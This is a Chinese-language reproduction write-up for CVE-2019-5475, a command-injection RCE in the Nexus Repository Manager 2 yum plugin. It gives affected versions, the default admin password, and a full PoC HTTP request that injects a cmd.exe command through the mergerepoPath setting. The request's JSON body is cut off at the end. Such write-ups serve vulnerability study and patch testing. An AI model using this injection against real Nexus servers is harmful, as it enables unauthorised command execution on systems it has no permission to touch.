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(CVE-2019-5475)Nexus2 yum插件RCE漏洞

一、漏洞简介

该漏洞默认存在部署权限账号,成功登录后可使用"createrepo"或"mergerepo"自定义配置,可触发远程命令执行漏洞

二、漏洞影响

Nexus Repository Manager OSS \<= 2.14.13 Nexus Repository Manager Pro \<= 2.14.13 限制:admin权限才可触发漏洞

三、复现过程

首先以管理员身份(admin/admin123)登录 然后找到漏洞位置:Capabilities - Yum:Configuration - Settings

点击 Save 抓包,更改mergerepoPath后的value值

C:\\Windows\\System32\\cmd.exe /k dir&amp;

此处使用 /k 是因为这样命令执行完会保留进程不退出,而 /c 后执行完会退出;由于给用户提供的命令后面加了一个 --version,所以后面要加个&,&表两个命令同时执行,这样就不会干扰其他命令的执行

Poc如下:

PUT /nexus/service/siesta/capabilities/00012bdb034073a3 HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json,application/vnd.siesta-error-v1+json,application/vnd.siesta-validation-errors-v1+json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Nexus-UI: true
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 241
DNT: 1
Connection: close
Referer: http://127.0.0.1:8081/nexus/
Cookie: NXSESSIONID=105c7cb1-a307-43a3-9ff8-9770b5ae3b13






{"typeId":"yum","enabled":true,"properties":[{"key":"maxNumberParallelThreads","value":"10"},{"key":"createrepoPath","value":"111"},{"key":"mergerepoPath","value":"C:\\Windows\\System32\\cmd.exe /k dir&amp;"}],"id":"00012bdb034073a3","notes":""